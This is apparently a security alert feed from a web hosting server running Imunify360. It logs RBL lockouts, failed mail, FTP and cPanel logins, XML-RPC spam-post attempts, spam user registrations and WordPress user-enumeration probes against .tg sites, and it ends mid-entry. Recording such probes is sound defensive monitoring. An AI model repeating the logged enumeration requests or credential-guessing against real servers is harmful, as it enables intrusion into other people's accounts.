name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.248.202
country_id: 3469034
description:
Jun  5 13:59:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.248.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:16bd02bf9cdf625f415fa086713aef4f2e6d8954||Title:vj3npvx3m0fsq8irq||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.123
country_id: 953987
description:
Jun  5 14:00:13 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ee73190a9b081c103ca88cba81c3798a19ea5be||Title:e5vji0pgwc91yj||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Lasting Money eropolik.blogspot.hu yB||Email:abbyrae2731@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:14-01.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.142
country_id: 3469034
description:
Jun  5 14:01:42 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1de6c8a693eaf28a8c6f5d3264903170fe9c1c5e||Title:1acyigu2w0oz1cwd||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.142
country_id: 3469034
description:
Jun  5 14:01:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8b4aeacb862a6cbac3f35edad247f69656f99d5||Title:fn86vog9dfr4gjxh5n||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.225.208.71
country_id: 1562822
description:
171.225.208.71 - - [05/Jun/2026:14:04:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870233&pdata=https%253A%252F%252Fmediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780668256 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.225.208.71


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.70
country_id: 690791
description:
Jun  5 14:04:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.128
country_id: 298795
description:
Jun  5 14:05:16 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.70
country_id: 3175395
description:
Jun  5 14:07:56 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jun  5 14:08:35 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.198.207.104
country_id: 3190538
description:
[2026-06-05 14:09:14 +0000] info [cpaneld] 188.198.207.104 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.37.31.60
country_id: 3017382
description:
54.37.31.60 - - [05/Jun/2026:14:09:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054808&pdata=https%253A%252F%252Fave2.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780668571 HTTP/2.0" 302 0 ave2.mairie.tg "https://ave2.mairie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.37.31.60


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jun  5 14:08:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 188.198.207.104
country_id: 3190538
description:
188.198.207.104 - - [05/Jun/2026:14:09:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868949&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780668544 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:188.198.207.104


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 139.59.5.68
country_id: 1269750
description:
Jun  5 14:10:20 ns5 pure-ftpd[1713527]: (?@139.59.5.68) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.99.240.181
country_id: 2921044
description:
Jun  5 14:10:32 ns5 pure-ftpd[1713750]: (?@167.99.240.181) [INFO] New connection from 167.99.240.181


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 167.99.240.181
country_id: 2921044
description:
Jun  5 14:10:38 ns5 pure-ftpd[1713750]: (?@167.99.240.181) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.242.192.72
country_id: 2363686
description:
2026-06-05 14:14:16 dovecot_plain authenticator failed for H=(CanonD1D677.CFMI.com) [160.242.192.72]:53568: 535 Incorrect authentication data (set_id=cfmiscan@cfmi.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.100.52.46
country_id: 783754
description:
[2026-06-05 14:14:19 +0000] info [whostmgrd] 94.100.52.46 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID zfmyfu) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 94.100.52.46
country_id: 783754
description:
[2026-06-05 14:14:22 +0000] info [whostmgrd] 94.100.52.46 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.105.141.165
country_id: 798544
description:
Jun  5 14:14:31 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.105.141.165 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.209.221.53
country_id: 2287781
description:
[2026-06-05 14:19:42 +0000] info [webmaild] 102.209.221.53 - j.delbegue@tps.tg "POST /cpsess9923257220/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.209.219.234] != Current IP Address [102.209.221.53]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 188.241.80.140
country_id: 1814991
description:
Jun  5 14:19:06 ns5 pure-ftpd[1720358]: (?@188.241.80.140) [INFO] New connection from 188.241.80.140


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:20:15 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:3968: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.181.138
country_id: 1269750
description:
Jun  5 14:21:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.181.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-06-05 14:21:54 dovecot_login authenticator failed for H=([142.54.235.12]) [182.95.181.138]:51512: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:21:55 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:18688: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.230.80.52
country_id: 3865483
description:
Jun  5 14:22:36 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.230.80.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.123.109.128
country_id: 732800
description:
Jun  5 14:22:42 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.123.109.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.128
country_id: 732800
description:
2026-06-05 14:22:44 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.128]:56263: 535 Incorrect authentication data (set_id=testing1@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.230.80.52
country_id: 3865483
description:
Jun  5 14:22:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.230.80.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:23:01 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:19328: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:24:02 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:24832: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:25:07 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:13952: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Quickly Take Your Bonus eropolik.blogspot.ru PY||Email:sanoussi84@icloud.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:14-25.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.43.212
country_id: 3686110
description:
Jun  5 14:26:19 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.43.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.226.52.110
country_id: 1269750
description:
Jun  5 14:26:39 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.226.52.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:26:09 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:4608: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.226.52.110
country_id: 1269750
description:
Jun  5 14:26:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.226.52.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:27:09 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:8576: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.242.192.72
country_id: 2363686
description:
2026-06-05 14:26:56 dovecot_plain authenticator failed for H=(CanonD1D677.CFMI.com) [160.242.192.72]:53571: 535 Incorrect authentication data (set_id=cfmiscan@cfmi.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:28:10 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:20992: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:29:09 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:21760: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:30:11 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:27776: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:31:11 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:18176: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:32:11 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:11392: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.173
country_id: 3865483
description:
Jun  5 14:32:23 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.148
country_id: 3175395
description:
Jun  5 14:32:44 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jun  5 14:31:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jun  5 14:32:04 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:33:12 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:13440: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.148
country_id: 3175395
description:
Jun  5 14:32:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.237.133.31
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/129.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.0
country_id: 1880251
description:
47.128.122.0 - - [05/Jun/2026:14:32:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13082009&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-couvre-feu-desormais-de-21h-a-06h-a-compter-de-ce-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780669978 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/togo-couvre-feu-desormais-de-21h-a-06h-a-compter-de-ce-jour/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 14:34:13 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:14208: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:35:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:7045: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.245
country_id: 3469034
description:
Jun  5 14:35:45 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.245 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [05/Jun/2026:14:36:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250132&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkodjo-adedze%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780670170 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kodjo-adedze/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:36:22 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:11776: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.245
country_id: 3469034
description:
Jun  5 14:35:53 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:37:32 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13824: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:38:33 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:6529: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.50
country_id: 3469034
description:
Jun  5 14:40:45 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.50
country_id: 3469034
description:
Jun  5 14:40:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.246.3.236
country_id: 1835841
description:
Jun  5 14:43:08 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.246.3.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun  5 14:42:53 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.50.226.182
country_id: 3469034
description:
2026-06-05 14:42:55 dovecot_login authenticator failed for H=([205.209.67.3]) [187.50.226.182]:55975: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.3.236
country_id: 1835841
description:
2026-06-05 14:43:10 dovecot_login authenticator failed for H=([222.174.184.86]) [49.246.3.236]:34840: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-06-05 14:43:49 dovecot_login authenticator failed for H=([13.68.214.34]) [103.250.160.76]:33850: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.253.90.113
country_id: 2661886
description:
Jun  5 14:44:15 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.253.90.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-06-05 14:44:17 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se [89.253.90.113]:48511: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.228.23.19
country_id: 1814991
description:
2026-06-05 14:44:25 H=([124.228.23.19]) [124.228.23.19]:63582 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.136
country_id: 798544
description:
Jun  5 14:45:14 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.56
country_id: 1512440
description:
2026-06-05 14:45:50 H=([213.230.92.56]) [213.230.92.56]:61910 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:46:46 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:9729: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:47:49 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10880: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.183
country_id: 3469034
description:
Jun  5 14:48:20 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.157.21
country_id: 99237
description:
Jun  5 14:48:39 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.157.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.157.21
country_id: 99237
description:
Jun  5 14:48:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.157.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:48:50 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:16640: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.228.23.19
country_id: 1814991
description:
2026-06-05 14:49:14 H=([124.228.23.19]) [124.228.23.19]:64427 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Productive Games Reward sepoladi.blogspot.cz j1||Email:azremniwre@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:14-49.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 223.109.252.204
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2337||QS:add-to-cart=2337||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:49:51 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:14208: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:50:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10626: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [05/Jun/2026:14:51:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711191&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fg0d%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780671066 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/g0d/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
